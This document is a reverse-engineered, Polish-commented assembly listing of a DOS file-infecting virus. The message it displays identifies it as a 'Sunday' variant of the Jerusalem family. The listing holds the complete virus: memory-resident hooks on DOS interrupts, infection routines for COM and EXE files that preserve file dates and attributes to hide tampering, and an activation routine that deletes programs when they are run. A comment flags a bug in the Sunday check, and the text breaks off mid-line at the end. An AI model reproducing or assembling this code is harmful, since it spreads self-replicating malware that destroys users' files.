; COM - na poczatku ; EXE - na koncu ; rozpoznaje wg nazwy (co nie COM = EXE) ;------- ; aktywacja w niedziele roku roznego od 1989 ; procedury niszczacej ;------- ; doniesienia co 30 minut ; ale nigdy nie wlaczone ;------- ; Nie zaraza COMMAND.COM'a ;------- LF EQU 0AH CR EQU 0DH ;INITIAL VALUES : CS:IP 0918:00C4 ; SS:SP 0918:065D ;---------------- ; <- tutaj cialo programu ;---------------- S9180 SEGMENT STACK ASSUME DS:S9180, SS:S9180 ,CS:S9180 ,ES:S9180 L9180: jmp L0095 ;L9215 ;9180 E9 92 00 db 73h,55h ;'sU' ;9183 73 55 ;<- wzorzec sygnatury zarazenia L0005 DB 0C8H,0F7h,0E1h,0EEh,0E7h ;9185 C8 F7 E1 EE E7 L000A dw 100h ;IP nosiciela COM ;918A 00 01 L000C dw 1905h ;CS nosiciela COM ;918C 05 19 L000E db 0 ;ptr aktywnosci wirusa ;918E 00 L000F dw 0 ;918F 00 00 L0011 dw 9374h ;dlugosc programu oryginalna ;9191 74 93 L0013 dw 0FEA5h ;old int 8 ;9193 A5 L0015 dw 0F000h ;9195 00 L0017 dw 1460h ;old int 21h ;9197 60 14 L0019 dw 025Bh ;9199 5B 02 L001B dw 0556h ;old int 24h ;919B 56 05 L001D dw 0BA6h ;919D A6 0B L001F dw 32400 ;30 minut zwloki ;919F 90 7E dw 0 ;91A1 00 00 dw 0 ;91A3 00 00 dw 0 ;91A5 00 00 dw 0 ;91A7 00 00 dw 0 ;91A9 00 00 dw 0 ;91AB 00 00 dw 0E800h ;91AD 00 E8 dw 5F06h ;91AF 06 5F L0031 dw 0C89h ;adres bloku wirusa ;91B1 89 0C L0033 dw 80h ;wielkosc bloku wirusa (para) ;91B3 80 00 ;<----- Parameter Block L0035 dw 0 ;Environment ;91B5 00 00 dw 80h ;<- command line ;91B7 80 00 L0039 dw 0C89h ; Segment ;91B9 89 0C dw 5Ch ;<- FCB-1 ;91BB 5C 00 L003D dw 0C89h ; Segment ;91BD 89 0C dw 6Ch ;<- FCB-2 ;91BF 6C 00 L0041 dw 0C89h ; Segment ;91C1 89 0C L0043 dw 0800h ;SP nosiciela ;91C3 00 08 L0045 dw 0A58h ;rel segment stosu nosiciela ;91C5 58 0A L0047 dw 3D73h ;IP nosiciela ;91C7 73 3D L0049 dw 0 ;CS nosiciela (rel) ;91C9 00 00 ;pierwsze 3 bajty wektora int ff L004B dw 0F000h ;91CB 00 F0 L004D db 46h ;91CD 46 L004E db 1 ;0=COM, 1=EXE ;91CE 01 ;<- bufor na poczatek zbioru L004F db 'MZ' ;91CF 4D 5A L0051 dw 01E4h ;last page bytes ;91D1 E4 01 L0053 dw 004Dh ;file size - pages ;91D3 4D 00 dw 0004h ;91D5 04 00 L0057 dw 0020h ;header size (para) ;91D7 20 00 dw 01C1h ;91D9 C1 01 dw 0FFFFh ;91DB FF FF L005D dw 0918h ;SS ;91DD 18 09 L005F dw 065Dh ;SP ;91DF 5D 06 L0061 dw 1984h ;suma kontrolna ;91E1 84 19 L0063 dw 00C4h ;IP ;91E3 C4 00 L0065 dw 0918h ;CS ;91E5 18 09 dw 001Eh ;91E7 1E 00 dw 0000h ;91E9 00 00 ;<- bufor na 5 ostatnich bajtow zbioru L006B db 0Ah,0,0FFh,0FFh,0FFh ;91EB 0A 00 FF FF FF L0070 dw 5 ;File handle ;91F0 05 00 L0072 dw 20h ;atrybut zarazanego zbioru ;91F2 20 00 L0074 dw 1031h ;91F4 31 10 L0076 dw 0A337h ;91F6 37 A3 L0078 dw 200h ;bytes/sector(page) ;91F8 00 02 L007A dw 10h ;bytes/paragraph ;91FA 10 00 L007C dw 9380h ;nowa dlugosc zbioru DWORD ;91FC 80 93 L007E dw 0 ;91FD 00 00 L0080 dw 41B9h ;path nazwy programu - offset ;9200 B9 41 L0082 dw 9B2Ah ; - segment ;9202 2A 9B L0084 db 'COMMAND.COM' ;9294 43 4F 4D 4D 41 4E 44 2E 43 4F 4D L008F dw 0,0,0 ;929F 00 00 00 00 00 00 ;================================================ ; <- Start wirusa zbiorow COM ;------------------------------------------------ L0095: CLD ;9215 FC MOV AH,0FFH ;kontrola rezydowania ;9216 B4 FF INT 21H ;9218 CD 21 CMP AH,0FFH ;921A 80 FC FF JNB L9234 ;-> nie rezyduje ;921D 73 15 CMP AH,4 ;921F 80 FC 04 JB L9234 ;-> nie rezyduje ;9222 72 10 ;<- wirus juz rezyduje MOV AH,0DDH ;uruchom program ;9224 B4 DD MOV DI,100h ;miejsce docelowe programu ;9226 BF 00 01 MOV SI,OFFSET L065F ;9229 BE 5F 06 ADD SI,DI ;miejsce aktualne programu ;922C 03 F7 MOV CX,CS:[DI+11H] ;dlugosc programu oryginalna ;922E 2E 8B 4D 11 INT 21H ;9232 CD 21 L9234: MOV AX,CS ;normalizacja segmentu ;9234 8C C8 ADD AX,10h ;9236 05 10 00 MOV SS,AX ;9239 8E D0 MOV SP,OFFSET L065D ;923B BC 5D 06 PUSH AX ;segment ;923E 50 MOV AX,OFFSET L00C4 ;=L9244 ;923F B8 C4 00 PUSH AX ;offset ;9242 50 RETF ;9243 CB ;================================================ ; <- Start wirusa zbioru EXE ;------------------------------------------------ L00C4: L9244: CLD ;9244 FC PUSH ES ;<- PSP ;9245 06 MOV CS:L0031,ES ;9246 2E 8C 06 31 00 MOV CS:L0039,ES ;924B 2E 8C 06 39 00 MOV CS:L003D,ES ;9250 2E 8C 06 3D 00 MOV CS:L0041,ES ;9255 2E 8C 06 41 00 MOV AX,ES ;segment poczatku pgm ;925A 8C C0 ADD AX,10h ;925C 05 10 00 ADD CS:L0049,AX ;relokowanie CS ;925F 2E 01 06 49 00 ADD CS:L0045,AX ;relokowanie SS ;9264 2E 01 06 45 00 MOV AH,0FFH ;czy juz rezyduje ? ;9269 B4 FF INT 21H ;926B CD 21 CMP AH,4 ;926D 80 FC 04 JNZ L9282 ;-> jeszcze nie ;9270 75 10 POP ES ;<- uruchomienie pgm ;9272 07 MOV SS,CS:L0045 ;inicjacja stosu ;9273 2E 8E 16 45 00 MOV SP,CS:L0043 ;9278 2E 8B 26 43 00 JMP DWORD PTR CS:L0047 ;uruchomienie nosiciela ;927D 2E FF 2E 47 00 ;<- zarezydowanie L9282: XOR AX,AX ;9282 33 C0 MOV ES,AX ;9284 8E C0 MOV BX,03FCh ;int 0ffh ;9286 BB FC 03 MOV AX,ES:[BX] ;9289 26 8B 07 MOV CS:L004B,AX ;928C 2E A3 4B 00 MOV AL,ES:[BX+2] ;9290 26 8A 47 02 MOV CS:L004D,AL ;9294 2E A2 4D 00 MOV WORD PTR ES:[BX],0A5F3h ;rep movsw ;9298 26 C7 07 F3 A5 MOV BYTE PTR ES:[BX+2],0CBH ;ret ;929D 26 C6 47 02 CB POP AX ;92A2 58 ADD AX,10h ;92A3 05 10 00 MOV ES,AX ;92A6 8E C0 PUSH CS ;92A8 0E POP DS ;92A9 1F MOV CX,OFFSET L065F ;dl. wir. bez podpisu ;92AA B9 5F 06 SHR CX,1 ;na slowa ;92AD D1 E9 XOR SI,SI ;offset zrodlowy ;92AF 33 F6 MOV DI,SI ;offset wynikowy ;92B1 8B FE PUSH ES ;segment przepisanego ;92B3 06 MOV AX,OFFSET L013C ;offset kontynuacji ;92B4 B8 3C 01 PUSH AX ;92B7 50 JMP DWORD PTR L05F6 ;skok w wektor int FF ;92B8 FF 2E F6 05 ;<- kontynuacja na nowym miejscu L013C: MOV AX,CS ;92BC 8C C8 MOV SS,AX ;92BE 8E D0 MOV SP,OFFSET L065D ;92C0 BC 5D 06 XOR AX,AX ;92C3 33 C0 MOV DS,AX ;92C5 8E D8 MOV AX,CS:L004B ;odtworzenie wektora int ff ;92C7 2E A1 4B 00 MOV [BX],AX ;92CB 89 07 MOV AL,CS:L004D ;92CD 2E A0 4D 00 MOV [BX+2],AL ;92D1 88 47 02 MOV BX,SP ;sp -> paragraf ;92D4 8B DC MOV CL,4 ;92D6 B1 04 SHR BX,CL ;92D8 D3 EB ADD BX,20h ;+512 ;92DA 83 C3 20 and bx,0fff0h ;92DD 83 E3 F0 MOV CS:L0033,BX ;paragrafy bloku potrzebne ;92E0 2E 89 1E 33 00 MOV AH,4AH ;Set Block ;92E5 B4 4A MOV ES,CS:L0031 ;segment bloku ;92E7 2E 8E 06 31 00 INT 21H ;92EC CD 21 MOV AX,3521h ;Get int 21h ;92EE B8 21 35 INT 21H ;92F1 CD 21 MOV CS:L0017,BX ;92F3 2E 89 1E 17 00 MOV CS:L0019,ES ;92F8 2E 8C 06 19 00 PUSH CS ;92FD 0E POP DS ;92FE 1F MOV DX,OFFSET L02D2 ;92FF BA D2 02 MOV AX,2521h ;Set int 21h ;9302 B8 21 25 INT 21H ;9305 CD 21 MOV ES,[L0031] ;segment wirusa ;9307 8E 06 31 00 MOV ES,ES:[2Ch] ;environment ;930B 26 8E 06 2C 00 XOR DI,DI ;szukamy nazwy nosiciela ;9310 33 FF MOV CX,7FFFh ;9312 B9 FF 7F XOR AL,AL ;9315 32 C0 L9317: REPNZ SCASB ;9317 F2 AE CMP ES:[DI],AL ;9319 26 38 05 LOOPNZ L9317 ;931C E0 F9 MOV DX,DI ;pathname offset ;931E 8B D7 ADD DX,3 ;9320 83 C2 03 MOV AX,4B00h ;Load & Execute nosiciela ;9323 B8 00 4B PUSH ES ;9326 06 POP DS ;pathname segment ;9327 1F PUSH CS ;9328 0E POP ES ;parameter block ;9329 07 MOV BX,OFFSET L0035 ;parameter block ;932A BB 35 00 PUSH DS ;932D 1E PUSH ES ;932E 06 PUSH AX ;932F 50 PUSH BX ;9330 53 PUSH CX ;9331 51 PUSH DX ;9332 52 MOV AH,2AH ;Get Date ;9333 B4 2A INT 21H ;9335 CD 21 MOV BYTE PTR CS:L000E,0 ;ptr aktywnosci wirusa ;9337 2E C6 06 0E 00 00 CMP CX,1989 ;rok ;933D 81 F9 C5 07 JZ L936F ;-> tak ;9341 74 2C ; Mistake! Range for AL is 0 ..6 ! CMP AL,7 ;niedziela ? ;9343 3C 07 JNZ L9350 ;-> nie ;9345 75 09 INC BYTE PTR CS:L000E ;ptr aktywnosci wirusa ;9347 2E FE 06 0E 00 JMP SHORT L936F ;934C EB 21 NOP ;934E 90 NOP ;934F 90 ;<- to nie niedziela i rok nie 1989 L9350: MOV AX,3508h ;Get int 8 ;9350 B8 08 35 INT 21H ;9353 CD 21 MOV CS:L0013,BX ;9355 2E 89 1E 13 00 MOV CS:L0015,ES ;935A 2E 8C 06 15 00 PUSH CS ;935F 0E POP DS ;9360 1F MOV WORD PTR L001F,32400 ;30 minut ;9361 C7 06 1F 00 90 7E MOV AX,2508h ;Set int 8 ;9367 B8 08 25 MOV DX,OFFSET L0216 ;936A BA 16 02 INT 21H ;936D CD 21 L936F: POP DX ;936F 5A POP CX ;9370 59 POP BX ;9371 5B POP AX ;9372 58 POP ES ;9373 07 POP DS ;9374 1F PUSHF ;9375 9C CALL DWORD PTR CS:L0017 ;old int 21h (run) ;9376 2E FF 1E 17 00 PUSH DS ;937B 1E POP ES ;937C 07 MOV AH,49H ;Free allocated memory ;937D B4 49 INT 21H ;937F CD 21 MOV AH,4DH ;Get Return code of child proc ;9381 B4 4D INT 21H ;9383 CD 21 MOV AH,31H ;Keep process ;9385 B4 31 MOV DX,OFFSET L065F ;adres konca ;9387 BA 5F 06 MOV CL,4 ;na paragrafy ;938A B1 04 SHR DX,CL ;938C D3 EA ADD DX,10h ;zaokraglenie ;938E 83 C2 10 INT 21H ;9391 CD 21 ;----------------------------------------------- ; Wlasna obsluga int 24h ;----------------------------------------------- L0213: XOR AX,AX ;9393 33 C0 IRET ;9395 CF ;================================================================ ; Nowa obsluga int 8 ;---------------------------------------------------------------- L0216: CMP BYTE PTR CS:L000E,1 ;ptr aktywnosci wirusa ;9396 2E 80 3E 0E 00 01 JNZ L93CC ;-> to nie sobota ;939C 75 2E CMP WORD PTR CS:L001F,0 ;939E 2E 83 3E 1F 00 00 JNZ L93C7 ;-> jeszcze mamy czas ;93A4 75 21 PUSH AX ;93A6 50 PUSH BX ;93A7 53 PUSH SI ;93A8 56 MOV AH,0EH ; ;93A9 B4 0E MOV BL,1FH ;atrybut ;93AB B3 1F LEA SI,L0251 ;'Today is SunDay...' ;93AD 8D 36 51 02 L93B1: MOV AL,CS:[SI] ;znak ;93B1 2E 8A 04 CMP AL,'$' ;koniec ? ;93B4 3C 24 JZ L93BD ;-> tak ;93B6 74 05 INT 10H ;93B8 CD 10 INC SI ;93BA 46 JMP SHORT L93B1 ;93BB EB F4 L93BD: MOV WORD PTR CS:L001F,32400 ;reset licznika na 30min;93BD 2E C7 06 1F 00 90 7E POP SI ;93C4 5E POP BX ;93C5 5B POP AX ;93C6 58 L93C7: DEC WORD PTR CS:L001F ;licznik zwloki ;93C7 2E FF 0E 1F 00 L93CC: JMP DWORD PTR CS:L0013 ;oryginal int 8 ;93CC 2E FF 2E 13 00 L0251 DB 'Today is SunDay! Why do you work so hard?',LF,CR DB 'All work and no play make you a dull boy!',LF,CR DB "Come on ! Let's go out and have some fun!$" ;================================================================ ; Nowa obsluga int 21h ;---------------------------------------------------------------- L02D2: PUSHF ;9452 9C CMP AH,0FFH ;czy to pytanie o wirusa ? ;9453 80 FC FF JNZ L945D ;-> nie ;9456 75 05 MOV AX,0400h ;sygnalizacja obecnosci ;9458 B8 00 04 POPF ;945B 9D IRET ;945C CF L945D: CMP AH,0DDH ;uruchomienie nosiciela COM ? ;945D 80 FC DD JZ L9470 ;-> tak ;9460 74 0E CMP AX,4B00h ;Load & Execute ? ;9462 3D 00 4B JNZ L946A ;-> nie, przezroczystosc ;9465 75 03 JMP SHORT L949E ;-> tak ;9467 EB 35 NOP ;9469 90 L946A: POPF ;946A 9D JMP DWORD PTR CS:L0017 ;old int 21h ;946B 2E FF 2E 17 00 L9470: POP AX ;<- 0DDh, uruchom nosiciela COM ;9470 58 POP AX ;9471 58 MOV AX,0100h ;IP ;9472 B8 00 01 MOV CS:L000A,AX ;9475 2E A3 0A 00 POP AX ;CS ;9479 58 MOV CS:L000C,AX ;947A 2E A3 0C 00 REPZ MOVSB ;przeslanie programu na wirusa ;947E F3 A4 POPF ;9480 9D MOV AX,CS:L000F ;? ;9481 2E A1 0F 00 JMP DWORD PTR CS:L000A ;9485 2E FF 2E 0A 00 ;<- uruchamianie programu w fazie aktywnosci L948A: XOR CX,CX ;948A 33 C9 MOV AX,4301h ;Set file attributes ;948C B8 01 43 INT 21H ;948F CD 21 MOV AH,41H ;Delete Directory Entry ;9491 B4 41 INT 21H ;9493 CD 21 MOV AX,4B00h ;Load & Execute ;9495 B8 00 4B POPF ;9498 9D JMP DWORD PTR CS:L0017 ;old int 21h ;9499 2E FF 2E 17 00 ;<- uruchamianie programu L949E: CMP BYTE PTR CS:L000E,1 ;ptr aktywnosci wirusa ;949E 2E 80 3E 0E 00 01 JZ L948A ;-> aktywny ;94A4 74 E4 MOV WORD PTR CS:L0070,0FFFFh ;File handle ;94A6 2E C7 06 70 00 FF FF MOV WORD PTR CS:L008F,0 ;94AD 2E C7 06 8F 00 00 00 MOV CS:L0080,DX ;path do programu ;94B4 2E 89 16 80 00 MOV CS:L0082,DS ;94B9 2E 8C 1E 82 00 PUSH AX ;94BE 50 PUSH BX ;94BF 53 PUSH CX ;94C0 51 PUSH DX ;94C1 52 PUSH SI ;94C2 56 PUSH DI ;94C3 57 PUSH DS ;94C4 1E PUSH ES ;94C5 06 CLD ;94C6 FC MOV DI,DX ;94C7 8B FA XOR DL,DL ;aktualny drive ;94C9 32 D2 CMP BYTE PTR [DI+1],':' ;czy path z drive ? ;94CB 80 7D 01 3A JNZ L94D6 ;-> nie, aktualny ;94CF 75 05 MOV DL,[DI] ;94D1 8A 15 AND DL,1FH ;na numer drive ;94D3 80 E2 1F L94D6: MOV AH,36H ;Get Disk Free Space ;94D6 B4 36 INT 21H ;94D8 CD 21 CMP AX,0FFFFh ;94DA 3D FF FF JNZ L94E2 ;-> drive number OK ;94DD 75 03 L94DF: JMP L9768 ;<- drive number invalid ;94DF E9 86 02 L94E2: MUL BX ;* ;94E2 F7 E3 MUL CX ;* ;94E4 F7 E1 OR DX,DX ;94E6 0B D2 JNZ L94EF ;-> ponad 64 KB wolne ;94E8 75 05 CMP AX,OFFSET L065F ;=1631=dlugosc wirusa ;94EA 3D 5F 06 JB L94DF ;94ED 72 F0 L94EF: MOV DX,CS:L0080 ;path do programu ;94EF 2E 8B 16 80 00 PUSH DS ;94F4 1E POP ES ;94F5 07 XOR AL,AL ;poszukiwanie konca ;94F6 32 C0 MOV CX,41h ;94F8 B9 41 00 REPNZ SCASB ;94FB F2 AE MOV SI,CS:L0080 ;zamiana na duze litery ;94FD 2E 8B 36 80 00 L9502: MOV AL,[SI] ;9502 8A 04 OR AL,AL ;9504 0A C0 JZ L9516 ;9506 74 0E CMP AL,61H ;'a' ;9508 3C 61 JB L9513 ;950A 72 07 CMP AL,7AH ;'z' ;950C 3C 7A JA L9513 ;950E 77 03 SUB BYTE PTR [SI],20H ;' ' ;9510 80 2C 20 L9513: INC SI ;9513 46 JMP SHORT L9502 ;9514 EB EC L9516: MOV CX,0Bh ;czy to command ? ;9516 B9 0B 00 SUB SI,CX ;9519 2B F1 MOV DI,OFFSET L0084 ;'command.com' ;951B BF 84 00 PUSH CS ;951E 0E POP ES ;951F 07 MOV CX,0Bh ;9520 B9 0B 00 REPZ CMPSB ;9523 F3 A6 JNZ L952A ;-> nie ;9525 75 03 JMP L9768 ;-> tak, odpuszczamy ;9527 E9 3E 02 L952A: MOV AX,4300h ;Get File Attributes ;952A B8 00 43 INT 21H ;952D CD 21 JB L9536 ;952F 72 05 MOV CS:L0072,CX ;atrybut zarazanego zbioru ;9531 2E 89 0E 72 00 L9536: JB L955D ;9536 72 25 XOR AL,AL ;znacznik zbioru COM ;9538 32 C0 MOV CS:L004E,AL ;0=COM, 1=EXE ;953A 2E A2 4E 00 PUSH DS ;szukamy konca nazwy ;953E 1E POP ES ;953F 07 MOV DI,DX ;9540 8B FA MOV CX,41h ;9542 B9 41 00 REPNZ SCASB ;9545 F2 AE CMP BYTE PTR [DI-2],4DH ;'M'-ostatnia litera ;9547 80 7D FE 4D JZ L9558 ;-> tak, COM ;954B 74 0B CMP BYTE PTR [DI-2],6DH ;'m' ;954D 80 7D FE 6D JZ L9558 ;-> tak, com ;9551 74 05 INC BYTE PTR CS:L004E ;<- EXE ;9553 2E FE 06 4E 00 L9558: MOV AX,3D00h ;Open Handle ;9558 B8 00 3D INT 21H ;955B CD 21 L955D: JB L95B9 ;955D 72 5A MOV CS:L0070,AX ;File handle ;955F 2E A3 70 00 MOV BX,AX ;9563 8B D8 MOV AX,4202h ;Move file ptr EOF+offs ;9565 B8 02 42 MOV CX,0FFFFh ;-5 (piec ostatnich bajtow) ;9568 B9 FF FF MOV DX,0FFFBh ;956B BA FB FF INT 21H ;956E CD 21 JB L955D ;9570 72 EB ADD AX,5 ;+5 bajtow sygnatury ;9572 05 05 00 MOV CS:L0011,AX ;dlugosc programu oryginalna ;9575 2E A3 11 00 MOV CX,5 ;dlugosc sygnatury ;9579 B9 05 00 MOV DX,OFFSET L006B ;bufor na sygnature ;957C BA 6B 00 MOV AX,CS ;957F 8C C8 MOV DS,AX ;9581 8E D8 MOV ES,AX ;9583 8E C0 MOV AH,3FH ;Read Handle ;9585 B4 3F INT 21H ;9587 CD 21 MOV DI,DX ;przeczytana sygnatura ;9589 8B FA MOV SI,OFFSET L0005 ;wzorzec sygnatury ;958B BE 05 00 REPZ CMPSB ;958E F3 A6 JNZ L9599 ;-> jeszcze nie zarazony ;9590 75 07 MOV AH,3EH ;Close Handle ;9592 B4 3E INT 21H ;9594 CD 21 JMP L9768 ;9596 E9 CF 01 ;<----- zarazanie zbioru L9599: MOV AX,3524h ;Get int 24h ;9599 B8 24 35 INT 21H ;959C CD 21 MOV L001B,BX ;959E 89 1E 1B 00 MOV L001D,ES ;95A2 8C 06 1D 00 MOV DX,OFFSET L0213 ;L9393 ;95A6 BA 13 02 MOV AX,2524h ;Set int 24h ;95A9 B8 24 25 INT 21H ;95AC CD 21 LDS DX,DWORD PTR L0080 ;ptr na path ;95AE C5 16 80 00 XOR CX,CX ;95B2 33 C9 MOV AX,4301h ;Set File attributes ;95B4 B8 01 43 INT 21H ;95B7 CD 21 L95B9: JB L95F6 ;95B9 72 3B MOV BX,CS:L0070 ;File handle ;95BB 2E 8B 1E 70 00 MOV AH,3EH ;Close Handle ;95C0 B4 3E INT 21H ;95C2 CD 21 MOV WORD PTR CS:L0070,0FFFFh ;File handle ;95C4 2E C7 06 70 00 FF FF MOV AX,3D02h ;Open Handle R/W ;95CB B8 02 3D INT 21H ;95CE CD 21 JB L95F6 ;95D0 72 24 MOV CS:L0070,AX ;File handle ;95D2 2E A3 70 00 MOV AX,CS ;95D6 8C C8 MOV DS,AX ;95D8 8E D8 MOV ES,AX ;95DA 8E C0 MOV BX,L0070 ;File handle ;95DC 8B 1E 70 00 MOV AX,5700h ;Get File Date/Time ;95E0 B8 00 57 INT 21H ;95E3 CD 21 MOV L0074,DX ;95E5 89 16 74 00 MOV L0076,CX ;95E9 89 0E 76 00 MOV AX,4200h ;Move file ptr BOF+offs ;95ED B8 00 42 XOR CX,CX ;95F0 33 C9 MOV DX,CX ;95F2 8B D1 INT 21H ;95F4 CD 21 L95F6: JB L9636 ;95F6 72 3E CMP BYTE PTR L004E,0 ;0=COM, 1=EXE ;95F8 80 3E 4E 00 00 JZ L9603 ;95FD 74 04 JMP SHORT L965C ;95FF EB 5B NOP ;9601 90 NOP ;9602 90 ;<----- Zarazenie COM'a L9603: MOV BX,1000h ;zadanie 64KB bufora pamieci ;9603 BB 00 10 MOV AH,48H ;allocate memory ;9606 B4 48 INT 21H ;9608 CD 21 JNB L9617 ;-> powiodlo sie ;960A 73 0B MOV AH,3EH ;Close Handle ;960C B4 3E MOV BX,L0070 ;File handle ;960E 8B 1E 70 00 INT 21H ;9612 CD 21 JMP L9768 ;9614 E9 51 01 L9617: INC WORD PTR L008F ;9617 FF 06 8F 00 MOV ES,AX ;nowy blok pamieci ;961B 8E C0 XOR SI,SI ;961D 33 F6 MOV DI,SI ;961F 8B FE MOV CX,OFFSET L065F ;9621 B9 5F 06 REPZ MOVSB ;przepisanie do bufora ;9624 F3 A4 MOV DX,DI ;pierwsze wolne miejsce ;9626 8B D7 MOV CX,L0011 ;dlugosc programu oryginalna ;9628 8B 0E 11 00 MOV BX,L0070 ;File handle ;962C 8B 1E 70 00 PUSH ES ;9630 06 POP DS ;9631 1F MOV AH,3FH ;Read Handle ;9632 B4 3F INT 21H ;9634 CD 21 L9636: JB L9657 ;9636 72 1F ADD DI,CX ;na poczatek zbioru ;9638 03 F9 XOR CX,CX ;963A 33 C9 MOV DX,CX ;963C 8B D1 MOV AX,4200h ;Move file ptr BOF+offs ;963E B8 00 42 INT 21H ;9641 CD 21 MOV SI,OFFSET L0005 ;dopisanie ogonka ;9643 BE 05 00 MOV CX,5 ;9646 B9 05 00 PUSH DS ;9649 1E PUSH CS ;964A 0E POP DS ;964B 1F REPZ MOVSB ;964C F3 A4 POP DS ;964E 1F MOV CX,DI ;nowa dlugosc programu ;964F 8B CF XOR DX,DX ;bufor z wynikowym programem ;9651 33 D2 MOV AH,40H ;Write Handle ;9653 B4 40 INT 21H ;9655 CD 21 L9657: JB L9666 ;9657 72 0D JMP L9723 ;9659 E9 C7 00 ;<----- Zarazenie EXE'ca L965C: MOV CX,1Ch ;EXE file header - dlugosc ;965C B9 1C 00 MOV DX,OFFSET L004F ; - bufor ;965F BA 4F 00 MOV AH,3FH ;Read Handle ;9662 B4 3F INT 21H ;9664 CD 21 L9666: JB L96B2 ;9666 72 4A MOV WORD PTR L0061,1984h ;suma kontrolna ;9668 C7 06 61 00 84 19 MOV AX,L005D ;SS ;966E A1 5D 00 MOV L0045,AX ;9671 A3 45 00 MOV AX,L005F ;SP ;9674 A1 5F 00 MOV L0043,AX ;9677 A3 43 00 MOV AX,L0063 ;IP ;967A A1 63 00 MOV L0047,AX ;967D A3 47 00 MOV AX,L0065 ;CS ;9680 A1 65 00 MOV L0049,AX ;9683 A3 49 00 MOV AX,L0053 ;sile size - pages ;9686 A1 53 00 CMP WORD PTR L0051,0 ;last page bytes ;9689 83 3E 51 00 00 JZ L9691 ;968E 74 01 DEC AX ;9690 48 L9691: MUL WORD PTR L0078 ;* ;9691 F7 26 78 00 ADD AX,L0051 ;+last page bytes ;9695 03 06 51 00 ADC DX,0 ;9699 83 D2 00 ADD AX,0Fh ;zaokraglenie ;969C 05 0F 00 ADC DX,0 ;969F 83 D2 00 AND AX,0FFF0h ;96A2 25 F0 FF MOV L007C,AX ;96A5 A3 7C 00 MOV L007E,DX ;96A8 89 16 7E 00 ADD AX,OFFSET L0664 ;dlugosc z sygnatura ;96AC 05 64 06 ADC DX,0 ;96AF 83 D2 00 L96B2: JB L96EE ;96B2 72 3A DIV WORD PTR L0078 ;bytes per page ;96B4 F7 36 78 00 OR DX,DX ;czy jest reszta ? ;96B8 0B D2 JZ L96BD ;-> nie ;96BA 74 01 INC AX ;<- jest reszta ;96BC 40 L96BD: MOV L0053,AX ;pages per file ;96BD A3 53 00 MOV L0051,DX ;last page bytes ;96C0 89 16 51 00 MOV AX,L007C ;nowa dlugosc calosci ;96C4 A1 7C 00 MOV DX,L007E ;96C7 8B 16 7E 00 DIV WORD PTR L007A ;na paragrafy ;96CB F7 36 7A 00 SUB AX,L0057 ;header size ;96CF 2B 06 57 00 MOV L0065,AX ;CS wirusa ;96D3 A3 65 00 MOV WORD PTR L0063,OFFSET L00C4 ;IP wirusa ;96D6 C7 06 63 00 C4 00 MOV L005D,AX ;SS wirusa ;96DC A3 5D 00 MOV WORD PTR L005F,OFFSET L065D ;SP wirusa ;96DF C7 06 5F 00 5D 06 XOR CX,CX ;96E5 33 C9 MOV DX,CX ;96E7 8B D1 MOV AX,4200h ;Move file ptr BOF+offs ;96E9 B8 00 42 INT 21H ;96EC CD 21 L96EE: JB L96FA ;96EE 72 0A MOV CX,1Ch ;zapis zmodyf. headera ;96F0 B9 1C 00 MOV DX,OFFSET L004F ;96F3 BA 4F 00 MOV AH,40H ;write handle ;96F6 B4 40 INT 21H ;96F8 CD 21 L96FA: JB L970D ;96FA 72 11 CMP AX,CX ;96FC 3B C1 JNZ L9723 ;-> nie cale poszlo ;96FE 75 23 MOV DX,L007C ;nowa dlugosc zbioru ;9700 8B 16 7C 00 MOV CX,L007E ;9704 8B 0E 7E 00 MOV AX,4200h ;Move file ptr BOF+offs ;9708 B8 00 42 INT 21H ;970B CD 21 L970D: JB L9723 ;970D 72 14 XOR DX,DX ;970F 33 D2 MOV CX,065Fh ;9711 B9 5F 06 MOV AH,40H ;Write Handle ;9714 B4 40 INT 21H ;9716 CD 21 MOV CX,5 ;9718 B9 05 00 LEA DX,L0005 ;971B 8D 16 05 00 MOV AH,40H ;Write Handle ;971F B4 40 INT 21H ;9721 CD 21 ;<----- wspolny koniec L9723: CMP WORD PTR CS:L008F,0 ;znacznik zajecia bloku ;9723 2E 83 3E 8F 00 00 JZ L972F ;9729 74 04 MOV AH,49H ;Free allocated memory ;972B B4 49 INT 21H ;972D CD 21 L972F: CMP WORD PTR CS:L0070,-1 ;File handle ;972F 2E 83 3E 70 00 FF JZ L9768 ;-> nie otwarty ;9735 74 31 MOV BX,CS:L0070 ;File handle ;9737 2E 8B 1E 70 00 MOV DX,CS:L0074 ;973C 2E 8B 16 74 00 MOV CX,CS:L0076 ;9741 2E 8B 0E 76 00 MOV AX,5701h ;Set File Time/Date ;9746 B8 01 57 INT 21H ;9749 CD 21 MOV AH,3EH ;Close Handle ;974B B4 3E INT 21H ;974D CD 21 PUSH CS ;974F 0E POP DS ;9750 1F LDS DX,DWORD PTR L0080 ;ptr nazwy zbioru ;9751 C5 16 80 00 MOV CX,CS:L0072 ;atry zarazanego zbioru ;9755 2E 8B 0E 72 00 MOV AX,4301h ;Set File Attributes ;975A B8 01 43 INT 21H ;975D CD 21 LEA DX,L001B ;975F 8D 16 1B 00 MOV AX,2524h ;Set int 24h vector ;9763 B8 24 25 INT 21H ;9766 CD 21 L9768: POP ES ;9768 07 POP DS ;9769 1F POP DI ;976A 5F POP SI ;976B 5E POP DX ;976C 5A POP CX ;976D 59 POP BX ;976E 5B POP AX ;976F 58 POPF ;9770 9D JMP DWORD PTR CS:L0017 ;old int 21h ;9771 2E FF 2E 17 00 L05F6 dw 03FCh ;<- adres wektora int ff ;9776 FC 03 dw 0 ;9778 00 00 ;<------ stos db 0 ;977A 00 dw 0 ;977B 00 00 dw 0 ;977D 00 00 dw 0 ;977F 00 00 dw 0 ;9781 00 00 dw 0 ;9783 00 00 dw 0 ;9785 00 00 dw 0 ;9787 00 00 dw 0 ;9789 00 00 dw 0 ;978B 00 00 dw 0 ;978D 00 00 dw 0 ;978F 00 00 dw 0 ;9791 00 00 dw 0 ;9793 00 00 dw 0 ;9795 00 00 dw 0 ;9797 00 00 dw 0 ;9799 00 00 dw 0 ;979B 00 00 dw 0 ;979D 00 00 dw 0 ;979F 00 00 dw 0 ;97A1 00 00 dw 0 ;97A3 00 00 dw 0 ;97A5 00 00 dw 0 ;97A7 00 00 dw 156Ch ;97A9 6C 15 dw 1261h ;97AB 61 12 dw 2524h ;97AD 24 25 dw 0005h ;97AF 05 00 dw 0020h ;97B1 20 00 dw 04EBh ;97B3 EB 04 dw 0006h ;97B5 06 00 dw 156Ch ;97B7 6C 15 dw 2508h ;97B9 08 25 dw 0FEA5h ;97BB A5 FE dw 07BCh ;97BD BC 07 dw 0216h ;97BF 16 02 dw 065Eh ;97C1 5E 06 dw 